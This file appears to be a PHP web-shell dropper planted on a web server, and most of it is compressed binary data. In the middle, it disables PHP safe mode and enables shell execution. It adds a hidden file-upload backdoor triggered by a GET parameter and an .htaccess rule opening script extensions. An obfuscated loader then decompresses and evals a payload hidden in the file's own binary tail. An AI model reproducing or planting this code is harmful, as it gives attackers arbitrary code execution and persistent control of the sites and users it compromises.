?/OSRwzfw_\h4omxucezfljytz緪!=Üۭ'2Seozu-5gIBi88,#b$4DKY&`-yD}O`~Rsݣ}hcDźZ%ʙ%x&b|ԺkʂС`2|2	 Y:{bPznM:xnwvqbkdtzs)23Z5u4b|"!hs`}=3f.AO"w[,h
b ;),}BՍxnwvqbkdtzDZT6H!,JR  2Pi3_8(o ٓq0F[-ByQauʃ"ȁES f{.M-٦o=sc
KOfj(q8qӋLck0d7*SYAxucezfljyt|a(`(u`xucezfljytY❛{~B@-v:
ҫMֿ;m_`&mY:b|kL&#5*40WRȓ~͔ԸO2b_$Xg(9yhC]jAFFq^r[`hBd9hՀ:*APjh={TPQHİ	rѹUpr;/NGRh7{ݠ	I󃼇Hu"&+!f~4[k}~1"	 X& 25=pעF̭$Z9CtC~Â|]EXE[s\qV~[;@X@|t1@@ {䭗Wc TKcYXD)(AoSg?
,tИL`W t
sA$A`r!iy0(㭷fWxnwvqbkdtzxɢIF*7Hk׿+܆L
P4[IW2?i ?hBu&6=BwK8h_7X栯s56GQҟh3#p4϶S˰Kl7ޒc˩QQ\+!!kUhxCy#xucezfljytBWEarLki`J2B QXx{%xC(
a:G¯&uX=$/yEd,~KU0dpD"C'M7b00y1#;C:#¨SKٙ2}pz{ZGj۾r; !6R7|"41$]G/~=k2Seb5AزUC}|GF8=z®zm
o0soS4#5/voZMѳ;ƥ	s؊~:n0xnwvqbkdtzOX"wClvC"kTɡkrL/WxgX}6oec/.Da/hʑc/1s06ex9ΝyFÀHU,GtK3ŃQ$C)TAl"**ii#=UD_qCg
kAd
$R{|800sѳlürCm%pn4?`˵8e+t}$""ʦG(Kg[8%5Gf[`"ya4Ȅ-;l:m,x?"mxucezfljytqWxz4OznaН  kU?fypGwa^DT&a?+c(])bZ׋z'򅟴W=sWڹgk#?zg@U
,1qqxnwvqbkdtz\yoxucezfljyt9ܹؠf}"GqQ,TNX:HjpctF씀=;,'B6~xnwvqbkdtz_xucezfljytUو3++Q'߷ۢZA!jxnwvqbkdtz5".(lVN_:U% ͸Ewc[`Dw&^L`G:I/Z
p/%8H(ы0uCޖԀiEDwWVq8ѿuJ߽wܦ$M)N^C:ko?b)TxucezfljytN"eHuC|Sv$"7/&a6xnwvqbkdtzZ|).q!?
z{̛+?}
"-x
Zb;6Ĉ*2=gbb(UFyZ7"sp]d-Ȥ&$3bBi$)c87bG2^FLUpuCS{$FVBpU!$]ʵJy,FnqkY06:1Ѩ3ey,dg*Êx A\P	%ןE"/7	]97¾y38勘].-ٷq'*t`56cA"P+dSu:X[3Dˁ%FvY&c&R6ѕ
ZVʂHs65:3RpnS3jo669߯]=}WϧhZh%^lIs#j䴔?au:9BJMRYJL*_a xMK4Sɪh4~xnwvqbkdtzbx\)zFd-xnwvqbkdtzxnwvqbkdtzO&ų@D4fxxsFH.mm_ALOVm'K\~e
LQ'E Ln_d~ah"ROmKd
SHwn=3Pxӄh 2gD1tSW.8mD$Ojr]nPxQNHWgb4^=+mۓqaL;aEH(巖% (_]t9/mekXWiۯI4+Qxb3xnwvqbkdtzxucezfljyt[7X$Xfϴ!ōS.?902Mٟcpg%nxnwvqbkdtzZxq(؋U8FesAdL4ۛ{ckRCEq9?ܗ^ы~M8RDJw:Ȳ@Ҵ{AxucezfljytVs:_"zYP
IK}{ɗ	:EdSG{(z.B A[lxnwvqbkdtzw;t`/V
60,:J)UN.i=睊zP?eW7d[J9m-xF!0urQc1]E4|-fa߱e#(IPvvR
Wxucezfljyt䊎9z+y+KtJEq0%FA\ĵrx@_'uM9}xucezfljytgQgC@oUhX{]j[A^&,R)E|Nqȭt=U|K2o "xnwvqbkdtz鑏c68S9nݽbNֶC\,{;dbNZxnwvqbkdtzz%~~hTj?  *H9tUR
Q!@Yw]׺j1
I}F]z 4܍QB%~_+k\xnwvqbkdtzz#F۟Zb/xXO)UCZʱP{Vrel0j (	iJ+^pxucezfljyt
*
1=u/5;qQ6@0Yjxnwvqbkdtz`ЅUy߽Kt#K3w #[,=70_6zRo?x"vB%vxucezfljytiOit,,oձΘ&$=Y~pw.̡hx}\ H^+\gtCBQ3$ߗZ':;apQ&|'*,DsՇtݞW%VUEQh-WvsS*5Wn,ly'gm(^yCƶq]Wߍ*	ɲUqg"7[""-A_Tͳʽ0gϻSrtpyhL ~`GoMWsi{xucezfljytq e ~ܢjw)OxI4 h/3ϥ5CS{"}+.㴙	{lU6;|T=PKt\䀖
]2i7uP:_:p@}$(!ReW^xnwvqbkdtz	9 1lٍ۟
N֯pfJV@͆,+WPOPEq!.0j`Jj"7}=K:nkk4/h`xucezfljytd۷yZViÃxnwvqbkdtzKf4d!8 I+"hvY;l
8x4׷H~qrry}˴ q-X0Iແ%kG_)u_
V9s2E.15Z4`kc|nF'-96f%g)wi!ѥxnwvqbkdtzr}^@Q4Kus]=	m8ΊpJ?W7xucezfljyt;ӈ/
2.pUxucezfljyt c
Zo;Ew+X@$X*7ŧ]g1^?2Slj0Q-gaS褽ŽX)%MR\7Sk'/X
%ėR\,~Y˚eA2wO-j(xucezfljytvo: _xnwvqbkdtz=:) M`{4$ўHiGܘ`	OIh8.`0WJZhWw\*/xnwvqbkdtzV"xĺ3ˈS{NxnwvqbkdtzEQ*:"9U8)ކ.]Y_@nHiⒹkJ/"AQx?sU0a(8ct7T7-mW#kDo.GvCȸg#Wj
4wHS%t`F}*
W"
}ID"PٜrFx3uipJb_9{R֋pX

d@#R_E8FGI^n%2N`(=yCR	V5Hqσ}6t
;2%
 X/!b*A팞ܣ
i}]{_UD-_'N0_Ƶ*S
f:羉
$RlӔD:n﷌Ch~\AnԶ(۱+qxnwvqbkdtzznlE$,d22}n7*ɷï=(-
O _=7}GZFbFW4s2Q:s&!J

h8Ǐ;#	iArE2ol%mh:׾Ahl40Q_ECd:~yVH)ϋ^η|!E2.b/xucezfljyt~ :xnwvqbkdtz᜔pފQ;S	X7s%׉
:|⚡$*0JHMdx_-	1(006nxxucezfljytnU(G$ͤL&xucezfljytxucezfljytGwM6,K(McfMGHG$g.l5\`G#\ޏ)3zQWc@SX+/=|RE~w}ӓY$鼚Ma,T~虬2M쨒KWBT97{}웲QN0d+S~Ke/E%\;l䘮P!q
/ Gego*?k㔂0xucezfljytX[IFoWLK5@kK^;pEV{,p"~M@2+h)K5_PO^e^Z.aGz{K}Y]AQ6a7~e#vVgXoB{NI}`b o26utxucezfljyti{(/a[dK]R)ӚgW˅2"s粫BcOnCz~xVxucezfljytɧ0fgy1U?/}}b~AZU*(
cmp2A}[ F@=ݲ.xnwvqbkdtzyؕSb!+cp=M {ȹC
AmqhFL%$7c	~&ɠc8xnwvqbkdtz]Di-D
d5_JZ-YbW].$rԱBdxnwvqbkdtzٛ/M4,RmAKu1b0ϣϠfܐaS.!ap'xw5rB)uG!fy3
%Tpqxucezfljyt5qM:BN͇_K. wxnwvqbkdtz^6qtQ7Ǆ~BhQxucezfljyt0	[B2-,=dՒ4cĥ{XN00+cT!R,3YK͙Jtǣǣ
%ߎ[A%2+xnwvqbkdtzz^xo3p'Q)쳖t˷d$ݐM;*ד%*ɢp
-8~$8lU$8#,Nb`NV­Lf&
+HtC))hP]זH 	hGY$c(v餢ߪxxucezfljyt%@AeC NeTon-Bo,}D×o=46]k4;f-xucezfljytJɻHԊf+BK i2ny:aCg2^	Θ/.^GKaC_.FH:sm\8xucezfljytq)Àm0
4C5	
[A75:󖎩,O3Liղr;V3FЗi?HVrܢ~k?N
ZI[QX'1׋&ëQ ̇Wh*h`E3Mp@@{΄ğ\λ[\w2L~2w"^*|rCpNtɁ+dps,ԷqK;C
/HBMxnwvqbkdtzݴ2xsxnwvqbkdtzN`n4՟۵9-ȬU
ehGZ%r	UY.p ?ܽ
,V3#ϗpMSUMk#|뵡LЍ9B-߬pQɡ2Ȱ]Q3zxucezfljytw̡s\^|wgi17:s''S$sԽ{Lj
E_TfqՂ-yTbsrqբ
Lj*
Jdj,2$|ިxucezfljyto|.bpgٕ}o	@sI@pmݙxnwvqbkdtz
2Qr?DJz-[d82UE0׿}$+SuО5M҅φdw
o͵(ېa{kWx"YSCnŦ9Gtvh`*#|xucezfljyt^`AY}
@FLoT4(V_O)`^!Poxucezfljyt&( S?,YvoorLoxucezfljyt!ʪ@yΨ#c[|AC5pܧs5
Z2H?[tژ䡉kRMF[,V	PЁ)kIo:@.0S=A -̐G{u(g½u@f筫w;6m*U^űS
osOX_y-9K"h]δKlOOep錡m~N81| :wXUy@xsxucezfljytl"UԣϤގgB.1
Fnt	čÍҵ'X&0ؐ:Axnwvqbkdtz""ѽdH	o^9jJ}I6Jpc"U$d(bAOoEuGV{xucezfljyt
d.UTls	(%~cWϰH_h-q$DIR;;QRmUm_3"\lFU@glBA+Xط%^n݀J1ı'\^M/x 
xnwvqbkdtztT4GE&bqk/3&h'Ts2༣{?xucezfljyt?3!X8h"7,
eaoО|qD)!ƈlv?H~˝bphe, :(Gr=e6χjrQkE⩶Mgg0l`}JiEf1lvxDőxXt1ZϬlsgOT_Zkxw9Q|JRqd2;*y
AF^dLF+-w҈{SLhuTInM$S&?J.F	Y_4TonJ"0ήƞZ6͑ĔoRj%\ev%=Fw4/=Ռ7+eo[H"[P*[܇.QI I4`a
)q(k6o_
rk=E㼌yꅽqaJIf]TG.wz95Kfy{Xq{C|h4-JqAW yƛ|w:2o\2LoFϋTYn:Ψш(ZAF@z_ްy,T|B{q-
~rY1$jg*۸zԤouE(xnwvqbkdtzzݢŤ(NxucezfljytjYl3|]B:-*XDuJ9rkEս%ʜ+N^6#Lou9
xucezfljytOh!D3b{=cᾺw葤o"
7n˧{__aA]Cym8ˁVy{ୡnwvܔ4$5+k ?Gk_xucezfljyt-e*FC}Y@TTx|XjJݩZ?hD
?gms8jOy'{͖#|mVս,ߊ'J 7np62%o?.($t5$-oo+9UVwxucezfljytLXK\tk
uxucezfljyt]=:fZyJz#(]TWK.sQⓥ&$˶5îH(&N1]ْO(P$oZk9eepeG!f+=h$ֶX5K@fkqD6l"#YA*%Z	 \2PY9zHsq%}!Z7d-z-jg5@cZf &ԇ26UZA|9yC_e,d={h'ox!.Pb~6.#A]
DuhYyWx9.6@qC2Wb2˪ olԈ{-d[|[@"Z]t *e\mij9/%E,xnwvqbkdtz;w%Jz9}Q'%MZ^,pdCO`d/({5v n%C%M4}	p ^ڧx'UJ	xh!A+k~\@O88p	/9,ejefƛyWuO;5b|&tf$7Mxq7o1TfxnwvqbkdtzHieʃx_j,-/袺~ܷ#/DNj
s&֕و%MXȣ8J2-N|Pֿ_S%,wjuEH,L	}[/x
@XeC6n~3)Fxnwvqbkdtz(7%IU9ܹjzȑ91\Ą2uxucezfljyt&9xtxQe]{
Y/Ē/6Ŀ@dynY҄YxNSK;4|":SH@N+^_jbs{3Ӛ$!
=dHfCPJ!|8p~̋tY=r\xnwvqbkdtzhL7+{p}O0ݏ|WC&wK/%b5Ц_ŕxnwvqbkdtz~@Xxucezfljytvi
5`ZeRne^n6
y)0[ 4p'~T襶r8V@rU2"ݶ$xnwvqbkdtzKTvHjԁxucezfljytLxL	}XZ0kcڥJVUsuVԖ8˅õ]ܘ|h0zn#TTlƂT`S{W6OM]Q!]=#4s1ӫMoU:s;ݥ86Vr	L&!KCtQȞC)sn6m)w@R[%H{/B+DF)`?ܧ*A&GJDVkAxucezfljytBe-Ѧ:S3 dXcƗ$i`jjعJ/!׻xucezfljytQybs8~q?uܚcv}.8FҨϮ!1agwZKKZ+9BKz=&_dTbKl|&[Do`N`not]Lb;[GYn,Hs@$3G(5\iLJ &U&'Zׂjf׮Y;g v;;@xnwvqbkdtzY-sjT*J3:$yGjNjʷ)`CxBOnҕP+1g0RMzk[//Hl=lIA}3+jba:իԴYm#1ی&z[ȀᏰƜ(_WJa\ٺ4s[QxnwvqbkdtzQ|G"-.e
Aw4qdb	olȒS 3sjS &YaR|(6Fȁ=|Lcq6A"=[lr?!*h/POBx\^YבQk\J8ϧD6Kqb}*0 xucezfljyt}kȠ!Հ3*S5@S4?K0/
1cpQpzo縣E61.o,zDmcx
+C?-l2 
]H'	kJl)ק0uKp88'w )ZvYQH}Tm,vD="Fa=/@~L
Q[Ƨ	5`=HW辋8ߌ䞥@}fm+GQ5# {(	w[Ў+Oլxc.oFiQLNrxnwvqbkdtz-a6";BdxucezfljytXwQZDr[T}T7O?-2ǲR^܅w]VE\)6Ch6ݤ7	j#|(0"t{E'HE!4ͧ/^Ņ"Mn2g~HUVԝ_BV5`1*k{_3~%;*AP:Oz'ڇn2p;9mOĹw"'#`vxnwvqbkdtzzgq$awIqM8?u
i|\&ki\*2tެk[Ɣ^Xؓ{xnwvqbkdtzª~l_C"i0,6޼$vf};n!Qdds{xnwvqbkdtzȡ٥^(d2/MMkɧM}!f*ZV".@&RU(9!A=CD뢲 +HT18*ˣ&sC}!^:튁e	I&Rr Y]	&5~6
`-N
X3tZjqxnwvqbkdtz0ta'X9+bҀ!p7`fMMk}sF؄NwW٢h2V/w]IIɇ$DƼ	БBWEuu$Piݞ(#P%kx5HjF$VAXԜILtgvg^ށ@O_.aW%H3l1"Yެ[%zIi.ZBEO˨	JfPZ✁8$xnwvqbkdtz?D6khu;Yk58xnwvqbkdtz|Ul0{q)gSvV%{`ϓ)};ڗC7 -vT
̖GGr^ 	 "wh[/ ו|~3i7~&ĤY#._qV mk =L|77/vxnwvqbkdtz "\pg9fMM=ZmA(VK(H^ąDt=
nNcL&ϕ8t"(Z4yeڭkh䶶1ႇJWS=JBg\,g~|j`EY`И-~	zcDcoGU;}d:(W0:U~
䚄Qϧg gc]Y濲^!}Y.׍
%
ӿӊ͠%1/xnwvqbkdtz5Ka?s;uT4ia޵HTyAV(jmxnwvqbkdtzu&Yg(u8Ւ}BnѠ	8n+StˣZ#tV.?N1"٨'Gey^r w|꣚2?p[Hszn5ke\MV(8}h/N
xucezfljytƠOGREWJ| ;IhJ{0v"ue!xnwvqbkdtz-fxLL/&iXB+,4y)Cz&nG%GW0" b3c'vqi
źa?^dHPCsH)(1
G+c[9P8ح~Nmk\-XAE#C4HBwrLf-Vwn2@Խ3Z:Fָ7@q\܅͚ ']]*Y!2S:(YxnwvqbkdtzE# zF֕j^ߎWj7aNCA{i%ި龝MR4O^OYհO.RH87jUgnP&n9|(?j!=
;Z٠eVZz4	U30SQK:@:rbtvgɑm#E*ϚHAb{}L p[XOX&E}\FH-[гWh{?nyG`G]-/*GIJ6,8gj0u$6S9e j~5	_ ya'WB~Cxnwvqbkdtz/c~OA-mp#,DK3I	 )"$U8H4׮c2 `@6ǯe5A? ?:}&r #^Vvwc'd(B(s8HCiYthnׅQwxW}r!'W:V_D)ņ?N[DSS*
ߴ;
|/=ҤFM^UNN~0ԫiWoeizP9D~XSv2i_"xՔ).7 &3|_S 1:.UWpr(= 4|$rVvp'lhH#I2\xnwvqbkdtz
:LZMҏ݂ؗA)9zJW^:UOgx|07̷DK?ZEWf/s١ۧL8ttFMu8=gݯJWh@x&vhKsZJ~[WI1;T׋[8=ީJ2UJҧH:i3uJkg5w+A[G%j)
\|b_wZ	:W,)R`Y*ϿIՉsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$jobO='gzuncompres'.'s';$ZnaI='st'.'r'.'_repl'.'ace';$KNsc='fi'.'le'.'_ge'.'t'.'_co'.'nte'.'nts';$Vcxr='subs'.'tr';$rzRg='ex'.'it';eval($jobO($ZnaI('ezixhyjpvq','>',$ZnaI('pinauxrlbz','<',$Vcxr($KNsc( __FILE__ ),-172288)))));$rzRg(0);
?>
x$ǎܒf_po7Mѓ(ފwO̪3H$;⋵dNW?%G߯}Y?hV㷿O={( /w`.w\!a3q.ۼŕ]9ezixhyjpvq͖q^M~?-4.[=ZXˏ¿?M"5w3PezixhyjpvqfT,h.,pinauxrlbz%|AH݌]9:wi$	 h`B`C*2z g0T@S[2xz x(F X7EYڀ ȍ  |+8;=A\TFԀ;S @1HҢ=pO7L d0Y ` pAH?rM
ezixhyjpvq,&|@/TAAT")7:A+pinauxrlbz@aHw@V'`
LL 
-^
kp 0,K#AV  ڸA@Ѭx/z\HJ23Qq 4i"@t@0˥`/xezixhyjpvq' 4H6PGI߱t}Pn@ezixhyjpvqf 	bϽT\\xHų FYE7UAEj'%«4"gƀ
q!#E  , (|!ߒ@4F#6]wzyi΃qbu Ó8f 
 ߶8ơH@o  e ~AB8ihU\k|b^8E\Ly: @-%Sg^
jSzTDezixhyjpvq q5H?9:{kIDN
DxWzc,Fͻ?r#
46
dHQCMZ74bA,ezixhyjpvqx"MCZX
unѻϯ aލ Hc Xr@^`?:W)ȧC@*% ,HХ$,xPrK	@mP2ڢÿ07bcG{%{!}~cX뛗Ypinauxrlbz[|vv`Ǚ^ۈ.CN+MyGvN_ǗwinB0_뾍_tϟ*?}0H@
t%9.2;vܨr[MezAl	P@&W;9{XoRJ(oL QyLapinauxrlbzL#Fj
G`-ӳKP~}~2JӚk顖Q1o [&z#!+$	r+ȶ"ƨ&n?[Ͻwr;ێ_ qաC^vhMQ}Ǔ*"{GMbpinauxrlbz&DjTuܴ?RBp!iٴm8Wێq;!(jJ&8?v?ᰳ[më07#_T{	7C5&o!ŶfuY9yɉ%dRpg*8ɳ$f$iGˇ/pinauxrlbz	OezixhyjpvqY4u I9W2&Nwxƻ|·Vrpl6; "?DR}qq~!v&Ѷf~czT'}:x`pinauxrlbz.TJZO9SorAXë1݁}1؏4_$ mJqm.Xj*7
Jã);I}WMƞKʏMj`xu@]&@2U⡔Xxg=}OqDVVqߝezixhyjpvq{Xfϲ玭3s8~iʇ3 DIh(D{q}hPBrE,SeMlsx:YI^TV8vu?z.&"[3g
ߝ~[!x!o622Ըx_89]]yх|_|vdH38ǚQ
3-ZpinauxrlbzۈXֿ_@7OWi%N?YR3H͆(ueY+1k
LT Iv(9/0{6		Do,lVPY?1G&6(Ez8T}
J3#JjuIɓCnЗ4s`saw+C/|D椫mD%L|V_6)4{3FV&dQwާz2 TSz
AEq?;,RݍiC+Cʲ[:5־E pinauxrlbzLg8\:?av@O;73gx-Yn(jlza
s?	W=F8"躆d6ĸNSWHDezixhyjpvqɈ_H9YygB]R%@]igȺ$ˉ{%DhL?pOezixhyjpvqQNm{{naM5C Sw!ڰ(ϰ݉K
_	4/.˯Kw3ʼ$cb?
vfpinauxrlbz ۸N93$ә,ۯ+xzp?L$EXpinauxrlbz*zRI6e$S(lfAwhKoQSЦ6PMF70\B!S_|7S3ث,2xfs	
߾)=p"%o}l\|]$r~@HeѴVPςXwezixhyjpvq@%;CEMǈ;"@.N EH]~Go߾%!A='`nyrͿ%wYo9U
Am[b6%vMfEX̏͂}
J5ezixhyjpvq	emeWi}p׆o	B ^D-`o޸sh~	S'?;.pinauxrlbz4Jlezixhyjpvq-lVRGHB%mI㬢r\H&pӍHTb
x!HkGAߛ6}wK˫x%S@)[ai y)~f
H6!Ć h]}֡}즶?	XE6pinauxrlbzezixhyjpvqB=`fvs =x%FC)xm$(s2^:(U?+0M
y.%Pw5K#rɁB!},ʅ]gx*`%İI伓
a}8		[Z,],\݄z
e-1sKQFZ=.Ө,R%uWBUio "
vLkpinauxrlbz
LSՙO$L^7	A812
^I-ezixhyjpvq?_ƇxezixhyjpvqՏr|z]$P7B5GϤ
=Cr8D9gpӺiJh
nɥ_768D~pLn茹-d?*QyzW m	,c䨴coX;0 aÐIRk+9'
֏4ŀ		zN TOF8`%pinauxrlbzu%Os*6\QکzM	JAack"?(ݿ[ɦ\ b%ĿE_]8fxEvhepG7KؾgP*xl`25Rt4Hs,}sDIbZ]{M	GVsDYT'hJ)-)~iP\geq5,22RwG=QA!|pinauxrlbz}
`\-Ƥ^k܀J.Wl:{"脲NFN3|=!V»	y)H=hŋbŦq&ɦn ՘z|~laGQG7CغiH&~2YgҤxĔ!r׀y@L|c`q_qva*i?Ht2EpЎ$Ssd(v6h{l="o+jC	p8XCA-j'-_KrUkV_P*AEswn.mYQR%[Zf~6mHQQnEfɱ%{}~_:4n|ڋۛANS%[iXSgL%`.|p8_Ԏ|xxZ0qݳ?DeZػAN%S2k@WÑEgPM8oY67l097 OIJ_ASy%"y&5pb],4.[/H/C1=7%mNҥ3o,4EfzNMV^֣
(1zf CZMq#60x"9&Tamav1^ϥB;9i^-q4UĽy}Bŕ]ÀcE
qEO]kQ~FG=I5Qǌݚz-;O%p-gB}
[g\?~0D&7`pM1a::S"'%VP*q@}eFtmkoX5Jf:AjtFb/p#z!~ezixhyjpvqz/[ sD:^)M%`vpCeRR#ămfW/`	oJi'E s@ꈪ|n~`)cK$GT.':vvj(!G?_.}y.IғDc0w$ h
&4l;pinauxrlbz2n
f2v_!@'PhVS|U+fLC.	.0`!ޞX%u:7?xr
8/5a&=go\H/Bׂ%ǂ:G"ԝ.uz?aV\R!]	L(j!~U]c/;!e:N*A@,+_0Owo\d&؉+TAϟtpinauxrlbzrL|UtL
,t`ZS*?ΠPx$z+Ҡ=H8]͡zn²rTziZd
ڢqu}޳о%$Tw̔܌`X4S(AWCƊck k%D{.?`V{@_t޹%iLԛ0ۨge/vW]pinauxrlbzBH	zFCOrepinauxrlbz1݋{6*T0 NkEܡV&8/Lx"ezixhyjpvqg"+$)ezixhyjpvqpinauxrlbzMv\NG1WwuH/[V-ׁmF[
yE˹se(kl
tӏp).%D K
_@!C;3ބil.@p[	eG#!u
 FO{(!Rob4BHTl#UQﲲ\+Pax	CcU&Y;rRخpinauxrlbz
.I~M_񫂣=ǅ]@
d_
++UD%zY+z-8s6+~)R"WzևCK#˭[agFY~)4\skezixhyjpvqU0=GJ._Ü|0
"WnTNģp8IgXŅR*KPnpinauxrlbzlM.Dep"UFU9 CZ7#
bgH󂾂TQ~`0$DftڗPxc6xf	:\Z
tv`$5Ep,e~9z?ڃivb
B%?s'A ć^;wu7rNC	ҿcsn:ܿOG
j~s'1t#5N/v8Ċ]Wezixhyjpvq䷊eTJPKx.eԜ0"x!Ȫ((T0"Qc"!E]r-XgK@̭S/=#~EA-)7YHK̠Vj%'Un(A;dypinauxrlbzS5{^	!
^bLOyezixhyjpvq|ymE6d~16r9.{fڿlE:z\H91Eu5Zm
?ش:DOwhnnl[zΧ[N&z¾:%pinauxrlbz'M&ie|pinauxrlbzUZ?Ŏ!L^fhEFuhnOb&#d*À'
Q8?_H.*.3F
t?a7|ƀ~&|#FoMm
ڦK!1Oxx]#k磧נRrpinauxrlbz"52t@	dP!wO\Qc#vXy(8X$bY$(;أYi}7Lyzŕ㢁"W
/x{N&aBiTDwμHT~Mw-CdOxezixhyjpvqMpinauxrlbz6y'3h#.w$B]#'~]\u2lT"mePqJ
+N$__&[a`5ܢO ΝÛCdO͠]CJT~ ,3	L?xn. dezixhyjpvqZDV1|Fezixhyjpvq3
|0IPq?̳eR*nd5e֗'$qp2&еn/ 1pinauxrlbz2Z1]v:[{MAXND}1"J	M/G4$˨4/O1?/cR& 
ARi^|zNx3F:v
L`4t|m[ڼۏFx{GCЦ6FYa[*lRt_I_L*sl+`|KK1:R]Z"$y,1Z#Q9@RԒezixhyjpvq[:b17xWtQ5M%σLaE 4/~i*|lyvn6mEpedk@J9[^&6@=kdBW0pҝE`+ /@,3pt!c9v(
cc%jn`VtI+`#Rqi?ezixhyjpvqQ\i!t@$f+ܯYT}ezixhyjpvq@]L3=CR'Rx@Biݬ2"7XhCȿиWG`jR#W=p+qI}Sv?cwT,P#}i߁^XiVpinauxrlbz.m j9zcD^El= 4&- OVpinauxrlbz!!'ƣ71Dk,[ǘMUyYjk$ЮpinauxrlbzDP2T_76ǲB{R#CQǔ.^g~dlF7nCxS9|R\ȕNts9}JX;f6O4t8pIo;~u"Pxuz?zr}vrA,/ezixhyjpvqA@GXgcxdBK }D/	bAD,o]`MV4{Ff[fIT꞉
gZT7Tl1MlN)U:RoK*#vc5g/I"2v3Ѳu5FPݔ^qK⶘0xFhx&֯/&}:ᢸCX3Y3S !~0+X
igMQ4.77EqA:;2HcP|Oh{jA7P!n`p1ezixhyjpvq{`2	gI2)@:Xދ+Bezixhyjpvq)F¸Y@q_|Ju3MP%eƑ(|c- xիBAVMd#0yC@HΏ
Esx5XvՇe~q|-'c1wT_A}Hú$GBYa8Ә*IAF!Us8ZD|e#˞4ڴPbA0ezixhyjpvq*]$60,*yl؞|}UF.0*@hH]땄I!܃3@O~|Gk?;Ө8 ~ngNV1?püxvƦoi4铟I q
jl&#*m[DHȜdhezixhyjpvq4E	0@Xu}F*j{ji$φM%W|)?f-oJ1[(WgQb5O
}J3D,	
\TiTyBž#4Hƛ7r5j#}SZGOWQjٝ=hb:}_JΌfWŀQ"$opNpinauxrlbz&}ihg^F1n](@,VE(W38y&|`F{̒BF;_vc#gy̭
sNjS/)ezixhyjpvq-U˃3 qc[(ڹf6m%w5_d :ezixhyjpvq{6TcU(à;@[YR*aeռB="eḽAyJmpK)@5SWP[^{Rb{;8-GGゟc]3X2Jt p̂uUڃ5Ǣ-ٷg~T\ű5jNqoz"'d4sI']1{VZRl`IL/LU&}b(:4.Tx	Ay!`brx*pװ 	Pw^#?A{3Zpinauxrlbz\$ !}=س
9Qjs/Pkz@c9`hG:yOA43YezixhyjpvqNM{"9_ |HDQeű×UVn`gZwmql-"eUy%Z1c&,\p'MD1pbKWj|!$'h*&R&LvI3	qI6EG9	`\	b5UwU8cئ gqQ`=pinauxrlbzV|rȁԀ6SO
B𯑇9-]?h!D
ezixhyjpvq!g
et,3K@T6ypinauxrlbz]DKezixhyjpvq Bpinauxrlbz}+z~K9¥ˌȊ^Faͣ!Fezixhyjpvqþ-Zfb+Z!RCXaU5-'++bG@n_XjA$!2`룛`ezixhyjpvqϷPfpinauxrlbzvwWpinauxrlbzb00vI2?)`|ᣟ .l3Td|%pinauxrlbzR2)-bρqE4c3P-w_}? @Ĵ!l+cʹu3;#tL:ul`5R	 e{i.ZQK npv]mmUK1gٜ&.|֞Z	PүW*S*pinauxrlbz}of	Ǉo)ϲ+JoX8t#*eLTb"ȋ+kҾ*f6&L8hN!i8d8&g)?JB8jpLpinauxrlbzωHB١/ot){cT7N3_pinauxrlbz0'?HZ NN?+ݲxpIA=n]ϥSd|upϔ]%t=kPe .dǯi㳸cpPK_;

8)KO(~mع"_^n/7IrGF}pinauxrlbzL23w9VYezixhyjpvq1ݥ
Yu@|qN^;}֨A}AKxxSW?apinauxrlbzfq\u	HZD`ژi|ћ$_KUs7Z@F|GvO~ )+)i`kΓ-N݊N&Cˠם]̬ۄ6Lpinauxrlbzypinauxrlbz
nMH(۰Q
'/M]EXUkz¡Ƈ5)Rp`jfx,EӁM4,Z֫|uϠ|@	wJiD׀\[g3fŏ/,z7[&ZpinauxrlbzYIr
g!N^uƂ
 zKTWiv),+Q/!5V\fEaHx5ezixhyjpvqc_*fq}tl}Ry]7Nja SXbz^\y]!hQ'v~=kpinauxrlbzO^m2e&wq~c+%Z=+`pGYw@S
`KC_ĩ}SX
dÆim" _E2ͦ TcQ9&XO 9M(Aoezixhyjpvq},P
	K#D- kvW܁dFV;J!K\ezixhyjpvqqPw? F)avrM{I: de}spinauxrlbz0Bezixhyjpvq6;^
j.Og 'CD\pbuf{
a/L&RlטyiP[2S3yV2SrA_i{
V(Zpinauxrlbz|=4c'觞^g|X')/O-{Xf(?pROc{8Fã R;M
ezixhyjpvqa3FF,k|z5yaAҏO~b
/:ֺeAk1  ١ZOC[c
\qh%Bbcj6*,-ʻ5wĈTr_lezixhyjpvqP^?뢑^:.	H)خ4*uGKhVqA	JO@U%
	Mo(+-0zo)cE,pinauxrlbz\8	״=ezixhyjpvq` sKHfͻco?xb+,P*ZN\i F6)tRB*n \ixb[9P:G/yxB7`pinauxrlbzjۣ&KiW+oH ihѕgpinauxrlbz
tZWT,XFAm{Ȓrݠi=R3Sy!Iq}[{P
tfUVJ?L:Zq A۩Vj$9T5Rs_knWZ,#d}TKH Jt-r^_7ŠyCpinauxrlbz'x=׮kb?#vfgNTEpinauxrlbzOu,zx5[eB@S\R;q"}-+U~VjJ`*o'S:OKP}!-`"8ouE'UǄK{|&qm)UT=3@x;Q|֣p7M|AM0W?[t-"O#GId1	+ޯ
b\d%|^u.tL[*YITRm쳣JX$g	tkK1φ?;%FvݧhKMn{0_!*Vu ӆB$9MD7
u/ ӳb
o`RҾ(`߄I=q ԋ(g69Q7
(-3}vO'2Sy	8wCş˗rβv"]tM{]=[r$$3 0[ ܦT'nk!N\WjWZOH66/]{M]}Xy@Λ\vezixhyjpvq`d#ԭ]o9 2 \="gB+^ߖ$3-E!pinauxrlbzksEC?kTSBX|tI{[/:}7:9~3v
3M|ƍ;=&\p]j]=+nXxk @]$쨯1\DN˹L=!ȪLߖ'(.	;
5p0N'&U-@
-1~']hK\hvV5Ǆ-Ȯj{{ezixhyjpvqx-xfJEcBUm6ϲPݬ&OhJ3+];$n+iLwERj'[˨4 yY^6ҩhEUo9
m
wU_)pinauxrlbzJmQN%u\~LIJƈlb4EwI!eN!(;hs4U' Z_Z̜1ٶԖ{shW̏MMP3tzҟX%ۤ%:EJQ%h1㊖Q6{ؑxDg
x3'R"5 )6xUó:|b"A'-|	Fu
